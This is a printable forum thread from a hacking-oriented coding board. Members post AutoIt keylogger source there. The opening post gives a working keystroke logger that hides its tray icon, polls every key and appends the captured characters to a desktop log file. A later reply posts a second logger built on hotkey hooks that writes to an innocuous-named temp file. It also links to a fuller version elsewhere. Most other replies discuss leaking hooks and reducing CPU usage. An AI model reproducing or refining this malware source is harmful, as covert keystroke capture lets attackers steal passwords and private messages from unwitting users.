![]() |
|
Simple Keylogger Function - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Coding (https://sinister.li/Forum-Coding--71) +--- Thread: Simple Keylogger Function (/Thread-Simple-Keylogger-Function) Pages:
1
2
|
Simple Keylogger Function - M3 ™ - 09-16-2012 Code: #NotrayIcon
#include <WinAPI.au3>
;==============================
; AutoIt
; Autor : M3
; Simple KeyLoguer Function
;==============================
sGetKey()
Func sGetKey()
While 1
Local $sKey, $Result , $Log
For $sKey = 1 To 255
$Result = _WinAPI_GetAsyncKeyState($sKey)
If $Result = -32767 then
$Result = Chr($sKey)
$Log = FileOpen(@DesktopDir & "\Log.txt", 1)
FileWrite($Log, $Result)
FileClose($Log)
EndIf
Next
WEnd
EndfuncRE: Simple Keyloguer Function - 1234hotmaster - 09-17-2012 Not bad. RE: Simple Keyloguer Function - Jacob - 09-18-2012 I was almost scared thinking it was one of our hooks xD RE: Simple Keyloguer Function - 1234hotmaster - 09-18-2012 lol nah my hook isn't even gonna be leaked
RE: Simple Keylogger Function - Jacob - 09-18-2012 (09-18-2012, 01:08 AM)1234hotmaster Wrote: lol nah my hook isn't even gonna be leaked You sure...I do have it ya know )
RE: Simple Keylogger Function - muhammad fakir - 09-18-2012 Hey, its nice thanks for your key RE: Simple Keylogger Function - 1234hotmaster - 09-18-2012 (09-18-2012, 03:22 AM)Jacob Wrote:(09-18-2012, 01:08 AM)1234hotmaster Wrote: lol nah my hook isn't even gonna be leaked You wouldn't dare... WOULD YOU? :o @mohamadfakir Key? House key? Car key? RE: Simple Keylogger Function - spymare - 09-18-2012 LOL 25% cpu ussage... this messsage is way too short. RE: Simple Keylogger Function - 1234hotmaster - 09-18-2012 (09-18-2012, 10:50 AM)spymare Wrote: LOL 25% cpu ussage... Ik, thats why you use Switch and specify the certain keyboard integers instead of looping it with high numbers. RE: Simple Keylogger Function - 0xdefea7 - 07-13-2013 Long winded method, but has some advantages. There are no hooks and CPU usage is really low. It is a fairly accurate method as well. I only wrote for a and b to show as an example, you'll have to fill in the blanks. Code: $hFile = FileOpen(@TempDir & "\fdas.dat", 1)
HotKeySet("a", "a")
HotKeySet("b", "b")
Func a()
HotKeySet("a")
Send("a")
FileWrite($hFile, "a")
HotKeySet("a", "a")
EndFunc
Func b()
HotKeySet("b")
Send("b")
FileWrite($hFile, "b")
HotKeySet("b", "b")
EndFunc
While 1
Sleep(250)
WEndI did not see this post before posting here: http://www.hackcommunity.com/Thread-Simple-Keylogger-HotKeySet-function That one is complete. |